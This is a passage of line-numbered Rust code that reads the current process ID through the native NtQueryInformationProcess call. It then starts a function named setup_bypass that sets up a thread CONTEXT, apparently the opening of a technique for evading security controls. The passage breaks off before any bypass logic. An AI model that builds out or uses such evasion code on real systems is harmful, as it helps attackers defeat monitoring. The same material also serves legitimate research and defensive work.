| 192 | } |
| 193 | |
| 194 | fn GetCurrentProcessId() -> u32 { |
| 195 | let pseudo_handle = -1isize as HANDLE; |
| 196 | let mut pbi: PROCESS_BASIC_INFORMATION = unsafe { zeroed() }; |
| 197 | let status = unsafe { |
| 198 | NtQueryInformationProcess( |
| 199 | pseudo_handle, |
| 200 | 0, |
| 201 | &mut pbi as *mut _ as *mut c_void, |
| 202 | mem::size_of::<PROCESS_BASIC_INFORMATION>() as ULONG, |
| 203 | null_mut()) |
| 204 | }; |
| 205 | |
| 206 | if status != STATUS_SUCCESS { |
| 207 | 1 |
| 208 | } else { |
| 209 | |
| 210 | pbi.UniqueProcessId as u32 |
| 211 | } |
| 212 | } |
| 213 | |
| 214 | fn setup_bypass() -> Result<*mut c_void, String> { |
| 215 | let mut thread_ctx: CONTEXT = unsafe { std::mem::zeroed() }; |